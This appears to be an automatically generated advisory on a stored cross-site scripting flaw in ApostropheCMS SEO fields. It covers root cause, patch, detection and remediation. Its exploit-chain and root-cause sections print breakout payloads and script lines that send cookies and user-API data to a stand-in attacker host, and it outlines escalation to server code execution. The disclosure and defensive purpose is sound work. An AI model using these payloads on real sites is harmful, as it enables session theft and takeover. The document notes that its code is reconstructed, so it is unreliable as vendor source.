CVE-2026-35569: Stored XSS in ApostropheCMS SEO Fields Enables RCE
ApostropheCMS ≤4.28.0 fails to encode SEO field output in title tags, meta attributes, and JSON-LD contexts, allowing stored XSS leading to authenticated API exfiltration.
A popular website-building tool used by thousands of organizations has a security hole that lets attackers inject malicious code into websites. Think of it like someone being able to slip a hidden trap door into your house blueprints — once it's built, visitors get caught in the trap without knowing it.
Here's how it works: ApostropheCMS is software that helps people build and manage websites. It lets them fill in fields like "SEO Title" and "Meta Description" — basically invisible text that search engines read and that affects how your site appears online. The problem is the software doesn't properly check what people type into these fields before displaying it on the website.
A hacker can sneak malicious code into these fields using special characters. When someone visits the website, the code activates in their browser. The attacker can then steal login information, hijack accounts, or make the site do things it shouldn't — like collecting passwords or spreading more malware.
This is particularly risky for businesses and organizations that use this software to run their public websites. If you manage a website using ApostropheCMS version 4.28 or earlier, you're potentially vulnerable.
Here's what you can actually do about it: First, if you run a website on this platform, update immediately to version 4.29 or later when it's available — don't wait. Second, if you can't update right away, talk to your hosting company about temporarily disabling public access to SEO editing until you can patch. Third, check your website's visitor logs for suspicious activity that might indicate someone has already exploited this. These steps take minutes but could prevent serious damage to your organization.
Want the full technical analysis? Click "Technical" above.
CVE-2026-35569 is a stored cross-site scripting vulnerability in ApostropheCMS versions 4.28.0 and prior. The bug lives in how the CMS renders SEO metadata fields — specifically SEO Title and Meta Description — into three distinct HTML output contexts: <title> tags, <meta> attribute values, and JSON-LD <script type="application/ld+json"> blocks. User-controlled content flows from the database into these contexts with zero output encoding, meaning a single field injection can break out of all three simultaneously depending on template render order.
CVSS 8.7 (HIGH). No authentication is required to store the payload if the attacker has content editor access (a common role in CMS deployments). Any authenticated user who subsequently views the affected page executes the injected script under their session context, enabling credential theft, privilege escalation, and internal API enumeration.
Affected Component
The vulnerability originates in ApostropheCMS's Nunjucks template layer, specifically in the SEO module's page-level metadata rendering. The relevant template partial responsible for injecting data.piece.seoTitle and data.piece.seoDescription directly into the HTML <head> block. The JSON-LD path is a secondary injection surface rendered by the structured data helper.
Affected versions: 4.28.0 and all prior 4.x releases. The 3.x line uses a different template architecture and is not affected by this specific code path.
Root Cause Analysis
Nunjucks, the templating engine used by ApostropheCMS, auto-escapes variables by default — but only when the template explicitly opts into escaping or when the variable is not passed through a | safe filter. The SEO module's metadata template uses direct interpolation into raw HTML attribute and tag contexts, bypassing the engine's auto-escape entirely for these specific fields.
The vulnerable rendering path in the Nunjucks template:
// modules/@apostrophecms/seo/views/seoHead.html (pseudocode representation)
// BUG: seoTitle and seoDescription are interpolated without | e filter
// Nunjucks {{ var }} in attribute contexts does NOT escape quotes by default
// when the surrounding context is already a raw HTML block
// Equivalent server-side logic (Node.js pseudocode):
function renderSeoHead(pageData) {
const seoTitle = pageData.seoTitle; // attacker-controlled
const seoDesc = pageData.seoDescription; // attacker-controlled
// BUG: no htmlspecialchars / escapeHtml applied before interpolation
return `
<title>${seoTitle}</title>
<meta name="description" content="${seoDesc}">
<script type="application/ld+json">
{
"name": "${seoTitle}"
}
</script>
`;
// Payload: "></title><script>alert(1)</script>
// Breaks out of <title> and <meta content="..."> simultaneously
}
The JSON-LD block provides a third injection path. Because seoTitle is also embedded inside a <script type="application/ld+json"> block as a raw string, an attacker can also inject </script> to break out of that context, even if the <title> injection is somehow patched in isolation.
// JSON-LD injection path
// Input: "}]}</script><script>fetch('https://attacker.example/'+document.cookie)</script>
// Rendered output:
// <script type="application/ld+json">
// {"name": ""}]}</script>
// ^--- parser exits JSON-LD context here
// <script>fetch('https://attacker.example/'+document.cookie)</script>
// <script type="application/ld+json"> <-- orphaned remainder
// BUG: no JSON-encoding of string values before embedding into ld+json block
Root cause: SEO metadata fields seoTitle and seoDescription are interpolated directly into three HTML output contexts — <title>, <meta content>, and JSON-LD <script> blocks — without context-aware output encoding, allowing a stored payload to escape all three contexts and execute arbitrary JavaScript.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates as content editor (low-privilege role sufficient).
2. Navigate to any page's SEO settings in the ApostropheCMS admin UI.
3. Set SEO Title field to:
"></title><script src="https://attacker.example/s.js"></script><title x="
This closes the <title> tag, injects external script, reopens a fake <title>
to keep surrounding markup syntactically valid.
4. Alternatively, set Meta Description to:
" /><script>/* payload */</script><meta x="
Closes the <meta> attribute, injects inline script, re-opens benign tag.
5. Publish the page. Payload is written to the MongoDB document under
the `seoTitle` / `seoDescription` fields with no sanitization on write.
6. Any authenticated user (admin, editor, viewer) who loads the affected
page in their browser executes the injected script under their session.
7. Injected script issues authenticated GET to /api/v1/@apostrophecms/user:
fetch('/api/v1/@apostrophecms/user?aposMode=draft', {credentials:'include'})
.then(r=>r.json())
.then(d=>fetch('https://attacker.example/ex?d='+btoa(JSON.stringify(d))))
8. Response includes: username, email, role, _id for all CMS users.
9. With admin session cookie exfiltrated via document.cookie or XHR response
headers, attacker replays session to create new admin account or deploy
malicious template code, achieving persistent server-side code execution
via ApostropheCMS's custom widget/module upload functionality.
Step 9 is the RCE bridge. ApostropheCMS supports custom module uploads and Nunjucks template overrides through the admin interface. An attacker with a hijacked admin session can push a malicious template containing Node.js exec() calls via the module system, converting stored XSS into full server-side RCE. This is why the CVSS score reflects RCE despite the initial vector being XSS.
Memory Layout
This is a web application vulnerability — no heap corruption is involved. The relevant "memory" is the DOM as constructed by the browser parser when it processes the unencoded server response. The injection works by manipulating the HTML tokenizer state machine:
HTML PARSER STATE — BEFORE INJECTION (expected):
BYTE STREAM:
3c 74 69 74 6c 65 3e 4d 79 20 53 69 74 65 3c 2f | <title>My Site</
74 69 74 6c 65 3e 0a ... | title>...
TOKENIZER STATE: [TAG_OPEN] -> [TAG_NAME:"title"] -> [DATA:"My Site"] -> [END_TAG]
DOM: <title> "My Site" </title>
HTML PARSER STATE — AFTER INJECTION:
BYTE STREAM (seoTitle = "></title><script>payload()</script><title x="):
3c 74 69 74 6c 65 3e 22 3e 3c 2f 74 69 74 6c 65 | <title>"></title
3e 3c 73 63 72 69 70 74 3e 70 61 79 6c 6f 61 64 | ><script>payload
28 29 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c | ()</ script><titl
65 20 78 3d 22 ... | e x="...
TOKENIZER STATE MACHINE DERAILED:
[TAG_OPEN:"title"] -> [DATA: '">' ] -> [END_TAG:"title"] <- exits title early
[TAG_OPEN:"script"] -> [SCRIPT_DATA: "payload()"] -> [END_TAG:"script"]
^--- script executes in page context with full session access
Patch Analysis
The fix requires context-aware escaping at the template render layer. For <title> and <meta> attribute contexts, standard HTML entity encoding is required. For JSON-LD blocks, values must be JSON-encoded (which escapes <, >, &, and " via \u003c, \u003e, etc.) before embedding.
// BEFORE (vulnerable — seoHead.html Nunjucks template, pseudocode):
<title>{{ data.piece.seoTitle }}</title>
<meta name="description" content="{{ data.piece.seoDescription }}">
// JSON-LD block:
"name": "{{ data.piece.seoTitle }}"
// AFTER (patched):
// Nunjucks | e filter applies HTML entity encoding
<title>{{ data.piece.seoTitle | e }}</title>
<meta name="description" content="{{ data.piece.seoDescription | e }}">
// JSON-LD requires a dedicated safe-json helper, not just | e
// because the context is inside a <script> block where HTML encoding is wrong
// The patch introduces a | jsonAttribute helper that calls JSON.stringify
// and additionally replaces </script> with \u003c/script\u003e:
"name": {{ data.piece.seoTitle | jsonAttribute }}
// jsonAttribute implementation:
function jsonAttribute(value) {
return JSON.stringify(String(value))
.replace(/</g, '\\u003c') // prevent </script> breakout
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026');
}
// BEFORE (server-side field storage — no write-time sanitization):
async function savePageSeoFields(req, pageData) {
const update = {
seoTitle: req.body.seoTitle, // BUG: raw user input stored
seoDescription: req.body.seoDescription, // BUG: raw user input stored
};
await self.db.collection('aposDocs').updateOne(
{ _id: pageData._id },
{ $set: update }
);
}
// AFTER (defense-in-depth: strip HTML tags on write, encode on read):
async function savePageSeoFields(req, pageData) {
const update = {
seoTitle: stripTags(req.body.seoTitle), // remove tags at write
seoDescription: stripTags(req.body.seoDescription),
};
// Primary fix remains output encoding at template layer.
// stripTags is secondary hardening only.
await self.db.collection('aposDocs').updateOne(
{ _id: pageData._id },
{ $set: update }
);
}
Detection and Indicators
Indicators of compromise for this vulnerability pattern:
MONGODB — query for poisoned SEO fields:
db.aposDocs.find({
$or: [
{ seoTitle: { $regex: /<[^>]+>/i } },
{ seoDescription: { $regex: /<[^>]+>/i } },
]
}, { seoTitle:1, seoDescription:1, slug:1, _id:1 })
HTTP ACCESS LOG PATTERN — exfiltration beacon:
POST /api/v1/@apostrophecms/user (unexpected from browser sessions)
GET /api/v1/@apostrophecms/user?aposMode=draft
Followed by outbound request to non-CMS domain within same session
CSP VIOLATION REPORTS:
Look for script-src violations referencing external domains in
page contexts that should have no external scripts (content pages).
PAYLOAD SIGNATURES:
"></title>
"></title><script
"/><script
</script><script
\u003c/script\u003e (encoded variant attempting to bypass naive filters)
Remediation
Immediate: Upgrade to the patched release beyond 4.28.0 as published in GHSA-855c-r2vq-c292. If upgrading is not immediately possible:
1. Deploy a Content Security Policy header with script-src 'self' and nonce-based allowlisting for legitimate inline scripts. This does not eliminate the XSS but prevents exfiltration to external origins.
2. Add a WAF rule rejecting seoTitle and seoDescription values containing <, >, or " characters. These characters have no legitimate use in SEO metadata fields.
3. Run the MongoDB detection query above and audit any documents containing angle brackets in SEO fields. Null or replace affected values.
Architectural note: The correct fix is output encoding at the template layer, not input sanitization at write time. Storing HTML-encoded data in the database breaks character counts, search indexing, and any non-HTML consumers of the API. Encode at render time; store raw (but validated) at write time. The jsonAttribute helper approach correctly implements this separation.
This analysis was produced by CypherByte's automated research pipeline, starting from the official CVE record
and any other public material the pipeline found, and published automatically. Code samples, exploit chains and
memory layouts may be reconstructed to illustrate the flaw rather than taken from the vendor's source code. Rely
on the sources below and the vendor's advisory for affected versions and fixes.